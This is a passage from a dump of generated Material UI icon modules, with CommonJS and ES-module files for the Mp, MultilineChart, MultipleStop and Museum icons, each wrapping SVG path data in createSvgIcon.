    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9h-3.5v6H15v-1.5h2c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-.5 3H15v-1.5h1.5zm-5-3H7c-.55 0-1 .45-1 1v5h1.5v-4.5h1v3H10v-3h1V15h1.5v-5c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 19V5h14v14z\"\n}, \"1\")], 'MpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9h-3.5v6H15v-1.5h2c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-.5 3H15v-1.5h1.5zm-5-3H7c-.55 0-1 .45-1 1v5h1.5v-4.5h1v3H10v-3h1V15h1.5v-5c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 19V5h14v14z\"\n}, \"1\")], 'MpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7 9h4.5c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10.5h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10.5h-1v3.75c0 .41-.34.75-.75.75S6 14.66 6 14.25V10c0-.55.45-1 1-1m7.25 6c-.41 0-.75-.33-.75-.75V10c0-.55.45-1 1-1H17c.55 0 1 .45 1 1v2.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75m.75-3h1.5v-1.5H15z\"\n}), 'MpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7 9h4.5c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10.5h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10.5h-1v3.75c0 .41-.34.75-.75.75S6 14.66 6 14.25V10c0-.55.45-1 1-1m7.25 6c-.41 0-.75-.33-.75-.75V10c0-.55.45-1 1-1H17c.55 0 1 .45 1 1v2.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75m.75-3h1.5v-1.5H15z\"\n}), 'MpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM6 9h6.5v6H11v-4.5h-1v3H8.5v-3h-1V15H6zm9 6h-1.5V9H18v4.5h-3zm0-3h1.5v-1.5H15z\"\n}), 'MpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM6 9h6.5v6H11v-4.5h-1v3H8.5v-3h-1V15H6zm9 6h-1.5V9H18v4.5h-3zm0-3h1.5v-1.5H15z\"\n}), 'MpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 10.5h1.5V12H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5v14h14V5zm7.5 10H11v-4.5h-1v3H8.5v-3h-1V15H6v-5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm5.5-2.5c0 .55-.45 1-1 1h-2V15h-1.5V9H17c.55 0 1 .45 1 1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9h-3.5v6H15v-1.5h2c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-.5 3H15v-1.5h1.5zm-5-3H7c-.55 0-1 .45-1 1v5h1.5v-4.5h1v3H10v-3h1V15h1.5v-5c0-.55-.45-1-1-1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 19V5h14v14z\"\n}, \"3\")], 'MpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 10.5h1.5V12H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5v14h14V5zm7.5 10H11v-4.5h-1v3H8.5v-3h-1V15H6v-5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm5.5-2.5c0 .55-.45 1-1 1h-2V15h-1.5V9H17c.55 0 1 .45 1 1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9h-3.5v6H15v-1.5h2c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1m-.5 3H15v-1.5h1.5zm-5-3H7c-.55 0-1 .45-1 1v5h1.5v-4.5h1v3H10v-3h1V15h1.5v-5c0-.55-.45-1-1-1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 19V5h14v14z\"\n}, \"3\")], 'MpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultilineChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 6.92-1.41-1.41-2.85 3.21C15.68 6.4 12.83 5 9.61 5 6.72 5 4.07 6.16 2 8l1.42 1.42C5.12 7.93 7.27 7 9.61 7c2.74 0 5.09 1.26 6.77 3.24l-2.88 3.24-4-4L2 16.99l1.5 1.5 6-6.01 4 4 4.05-4.55c.75 1.35 1.25 2.9 1.44 4.55H21c-.22-2.3-.95-4.39-2.04-6.14z\"\n}), 'MultilineChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultilineChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 6.92-1.41-1.41-2.85 3.21C15.68 6.4 12.83 5 9.61 5 6.72 5 4.07 6.16 2 8l1.42 1.42C5.12 7.93 7.27 7 9.61 7c2.74 0 5.09 1.26 6.77 3.24l-2.88 3.24-4-4L2 16.99l1.5 1.5 6-6.01 4 4 4.05-4.55c.75 1.35 1.25 2.9 1.44 4.55H21c-.22-2.3-.95-4.39-2.04-6.14z\"\n}), 'MultilineChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultilineChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 6.92-1.41-1.41-2.85 3.21C15.68 6.4 12.83 5 9.61 5 6.72 5 4.07 6.16 2 8l1.42 1.42C5.12 7.93 7.27 7 9.61 7c2.74 0 5.09 1.26 6.77 3.24l-2.88 3.24-4-4L2 16.99l1.5 1.5 6-6.01 4 4 4.05-4.55c.75 1.35 1.25 2.9 1.44 4.55H21c-.22-2.3-.95-4.39-2.04-6.14z\"\n}), 'MultilineChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultilineChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 6.92-1.41-1.41-2.85 3.21C15.68 6.4 12.83 5 9.61 5 6.72 5 4.07 6.16 2 8l1.42 1.42C5.12 7.93 7.27 7 9.61 7c2.74 0 5.09 1.26 6.77 3.24l-2.88 3.24-4-4L2 16.99l1.5 1.5 6-6.01 4 4 4.05-4.55c.75 1.35 1.25 2.9 1.44 4.55H21c-.22-2.3-.95-4.39-2.04-6.14z\"\n}), 'MultilineChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultilineChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.36 6.28-.06-.06c-.39-.39-1.03-.37-1.39.04l-2.18 2.45C15.68 6.4 12.83 5 9.61 5c-2.5 0-4.83.87-6.75 2.3-.47.35-.52 1.04-.11 1.45l.06.06c.33.33.86.39 1.23.11C5.63 7.72 7.54 7 9.61 7c2.74 0 5.09 1.26 6.77 3.24l-2.88 3.24-3.29-3.29a.996.996 0 0 0-1.41 0l-6.12 6.13c-.37.37-.37.98 0 1.35l.15.15c.37.37.98.37 1.35 0l5.32-5.33 3.25 3.25c.41.41 1.07.39 1.45-.04l3.35-3.76c.62 1.12 1.08 2.39 1.32 3.73.08.47.47.82.95.82h.09c.6 0 1.05-.55.94-1.14-.32-1.85-.98-3.54-1.89-5L21.4 7.6c.34-.38.32-.96-.04-1.32\"\n}), 'MultilineChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultilineChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.36 6.28-.06-.06c-.39-.39-1.03-.37-1.39.04l-2.18 2.45C15.68 6.4 12.83 5 9.61 5c-2.5 0-4.83.87-6.75 2.3-.47.35-.52 1.04-.11 1.45l.06.06c.33.33.86.39 1.23.11C5.63 7.72 7.54 7 9.61 7c2.74 0 5.09 1.26 6.77 3.24l-2.88 3.24-3.29-3.29a.996.996 0 0 0-1.41 0l-6.12 6.13c-.37.37-.37.98 0 1.35l.15.15c.37.37.98.37 1.35 0l5.32-5.33 3.25 3.25c.41.41 1.07.39 1.45-.04l3.35-3.76c.62 1.12 1.08 2.39 1.32 3.73.08.47.47.82.95.82h.09c.6 0 1.05-.55.94-1.14-.32-1.85-.98-3.54-1.89-5L21.4 7.6c.34-.38.32-.96-.04-1.32\"\n}), 'MultilineChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultilineChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 6.92-1.41-1.41-2.85 3.21C15.68 6.4 12.83 5 9.61 5 6.72 5 4.07 6.16 2 8l1.42 1.42C5.12 7.93 7.27 7 9.61 7c2.74 0 5.09 1.26 6.77 3.24l-2.88 3.24-4-4L2 16.99l1.5 1.5 6-6.01 4 4 4.05-4.55c.75 1.35 1.25 2.9 1.44 4.55H21c-.22-2.3-.95-4.39-2.04-6.14z\"\n}), 'MultilineChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultilineChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 6.92-1.41-1.41-2.85 3.21C15.68 6.4 12.83 5 9.61 5 6.72 5 4.07 6.16 2 8l1.42 1.42C5.12 7.93 7.27 7 9.61 7c2.74 0 5.09 1.26 6.77 3.24l-2.88 3.24-4-4L2 16.99l1.5 1.5 6-6.01 4 4 4.05-4.55c.75 1.35 1.25 2.9 1.44 4.55H21c-.22-2.3-.95-4.39-2.04-6.14z\"\n}), 'MultilineChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultilineChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 6.92-1.41-1.41-2.85 3.21C15.68 6.4 12.83 5 9.61 5 6.72 5 4.07 6.16 2 8l1.42 1.42C5.12 7.93 7.27 7 9.61 7c2.74 0 5.09 1.26 6.77 3.24l-2.88 3.24-4-4L2 16.99l1.5 1.5 6-6.01 4 4 4.05-4.55c.75 1.35 1.25 2.9 1.44 4.55H21c-.22-2.3-.95-4.39-2.04-6.14z\"\n}), 'MultilineChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultilineChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 6.92-1.41-1.41-2.85 3.21C15.68 6.4 12.83 5 9.61 5 6.72 5 4.07 6.16 2 8l1.42 1.42C5.12 7.93 7.27 7 9.61 7c2.74 0 5.09 1.26 6.77 3.24l-2.88 3.24-4-4L2 16.99l1.5 1.5 6-6.01 4 4 4.05-4.55c.75 1.35 1.25 2.9 1.44 4.55H21c-.22-2.3-.95-4.39-2.04-6.14z\"\n}), 'MultilineChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultipleStop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 4 4 4-4 4V9h-4V7h4zm-7 3c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M6 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m1 10h4v-2H7v-3l-4 4 4 4zm7 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'MultipleStop');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultipleStop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 4 4 4-4 4V9h-4V7h4zm-7 3c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M6 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m1 10h4v-2H7v-3l-4 4 4 4zm7 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'MultipleStop');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultipleStopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 4 4 4-4 4V9h-4V7h4zm-7 3c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M6 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m1 10h4v-2H7v-3l-4 4 4 4zm7 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'MultipleStopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultipleStopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 4 4 4-4 4V9h-4V7h4zm-7 3c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M6 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m1 10h4v-2H7v-3l-4 4 4 4zm7 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'MultipleStopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultipleStopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5.21c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36V9h-3c-.55 0-1-.45-1-1s.45-1 1-1h3zM10 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M6 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m1 10h3c.55 0 1-.45 1-1s-.45-1-1-1H7v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.36zm7 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'MultipleStopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultipleStopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5.21c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36V9h-3c-.55 0-1-.45-1-1s.45-1 1-1h3zM10 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M6 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m1 10h3c.55 0 1-.45 1-1s-.45-1-1-1H7v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.36zm7 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'MultipleStopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultipleStopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 4 4 4-4 4V9h-4V7h4zM7 17h4v-2H7v-3l-4 4 4 4zm12-2h-2v2h2zm-4 0h-2v2h2zm-4-8H9v2h2zM7 7H5v2h2z\"\n}), 'MultipleStopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultipleStopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 4 4 4-4 4V9h-4V7h4zM7 17h4v-2H7v-3l-4 4 4 4zm12-2h-2v2h2zm-4 0h-2v2h2zm-4-8H9v2h2zM7 7H5v2h2z\"\n}), 'MultipleStopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultipleStopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 4 4 4-4 4V9h-4V7h4zm-7 3c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M6 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m1 10h4v-2H7v-3l-4 4 4 4zm7 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'MultipleStopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MultipleStopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 4 4 4-4 4V9h-4V7h4zm-7 3c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M6 7c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m1 10h4v-2H7v-3l-4 4 4 4zm7 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'MultipleStopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Museum.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V9L12 2 2 9v2h2v9H2v2h20v-2h-2v-9zm-6 7h-2v-4l-2 3-2-3v4H8v-7h2l2 3 2-3h2z\"\n}), 'Museum');"
  },
  {
    "path": "packages/mui-icons-material/lib/Museum.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V9L12 2 2 9v2h2v9H2v2h20v-2h-2v-9zm-6 7h-2v-4l-2 3-2-3v4H8v-7h2l2 3 2-3h2z\"\n}), 'Museum');"
  },
  {
    "path": "packages/mui-icons-material/lib/MuseumOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V9L12 2 2 9v2h2v9H2v2h20v-2h-2v-9zm-4 9H6V9h12z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 14 2 3 2-3v4h2v-7h-2l-2 3-2-3H8v7h2z\"\n}, \"1\")], 'MuseumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MuseumOutlined.mjs",
